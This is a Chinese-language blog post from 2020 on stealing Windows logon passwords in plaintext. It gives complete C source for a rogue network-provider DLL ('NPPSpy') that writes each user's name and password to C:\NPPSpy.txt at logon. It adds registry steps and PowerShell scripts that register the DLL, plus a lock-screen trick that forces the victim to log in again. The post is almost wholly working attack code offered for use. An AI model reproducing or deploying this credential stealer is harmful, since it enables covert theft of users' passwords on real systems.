利用系统函数获取Windows明文密码

0x01 前言

前段时间,根据大佬Grzegorz Tworek发布的 :使用LanMan版本的NPLogonNotify()函数来嗅探用于登录Windows的每个密码。明文。无需重新启动。今天过来研究一波,同时借鉴 来自鸿鹄 ly大佬写的集成powershell调用,来进一步方便利用。

0x02 原理

通过修改注册表,借助系统函数,抓取Windows明文密码

0x03 复现

然后将下列代码编译为dll文件:

NPPSPy.c 源代码

#include <Windows.h>

// from npapi.h
#define WNNC_SPEC_VERSION                0x00000001
#define WNNC_SPEC_VERSION51              0x00050001
#define WNNC_NET_TYPE                    0x00000002
#define WNNC_START                       0x0000000C
#define WNNC_WAIT_FOR_START              0x00000001

//from ntdef.h
typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
	MsV1_0InteractiveLogon = 2,
	MsV1_0Lm20Logon,
	MsV1_0NetworkLogon,
	MsV1_0SubAuthLogon,
	MsV1_0WorkstationUnlockLogon = 7,
	MsV1_0S4ULogon = 12,
	MsV1_0VirtualLogon = 82,
	MsV1_0NoElevationLogon = 83,
	MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON
{
	MSV1_0_LOGON_SUBMIT_TYPE MessageType;
	UNICODE_STRING LogonDomainName;
	UNICODE_STRING UserName;
	UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;


void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
{
	HANDLE hFile;
	DWORD dwWritten;

	hFile = CreateFile(TEXT("C:\\NPPSpy.txt"),
		GENERIC_WRITE,
		0,
		NULL,
		OPEN_ALWAYS,
		FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (hFile != INVALID_HANDLE_VALUE)
	{
		SetFilePointer(hFile, 0, NULL, FILE_END);
		WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);
		WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
		WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);
		WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
		CloseHandle(hFile);
	}
}


__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
	DWORD nIndex
)
{
	switch (nIndex)
	{
		case WNNC_SPEC_VERSION:
			return WNNC_SPEC_VERSION51;

		case WNNC_NET_TYPE:
			return WNNC_CRED_MANAGER;

		case WNNC_START:
			return WNNC_WAIT_FOR_START;

		default:
			return 0;
	}
}


__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
	PLUID lpLogonId,
	LPCWSTR lpAuthInfoType,
	LPVOID lpAuthInfo,
	LPCWSTR lpPrevAuthInfoType,
	LPVOID lpPrevAuthInfo,
	LPWSTR lpStationName,
	LPVOID StationHandle,
	LPWSTR* lpLogonScript
)
{
	SavePassword(
		&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
		&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
	);
	lpLogonScript = NULL;
	return WN_SUCCESS;
}

通过修改注册表,来实现读取密码效果

  1. 将NPPSpy.dll复制到System32文件夹
  2. 添加"NPPSpy"在结束"ProviderOrder"HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
  3. 创建HKLM\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider并设置以下值:
    • "Class" = [REG_DWORD]2
    • "ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot%\System32\NPPSPY.dll"
    • "Name" = [REG_SZ]"NPPSpy"

通过Powershell脚本进行调用,实现修改注册表的功能

$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dl

将编译好的NPPSpy.dll复制到System32文件夹

运行ps1脚本:

然后 模拟用户注销、重新的登录,抓取到明文密码

为了方便,直接加入锁屏功能,一键修改注册表+锁屏:


$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll"

Function Lock-WorkStation {

$signature = @"

[DllImport("user32.dll", SetLastError = true)]

public static extern bool LockWorkStation();

"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru

$LockWorkStation::LockWorkStation() | Out-Null

}

Lock-WorkStation

0x04 参考链接

  1.  https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify
  2.  https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy

转载请注明:Adminxe's Blog » 利用系统函数获取Windows明文密码

posted @ 2020-07-22 18:14  Adminxe  阅读(492)  评论(0编辑  收藏  举报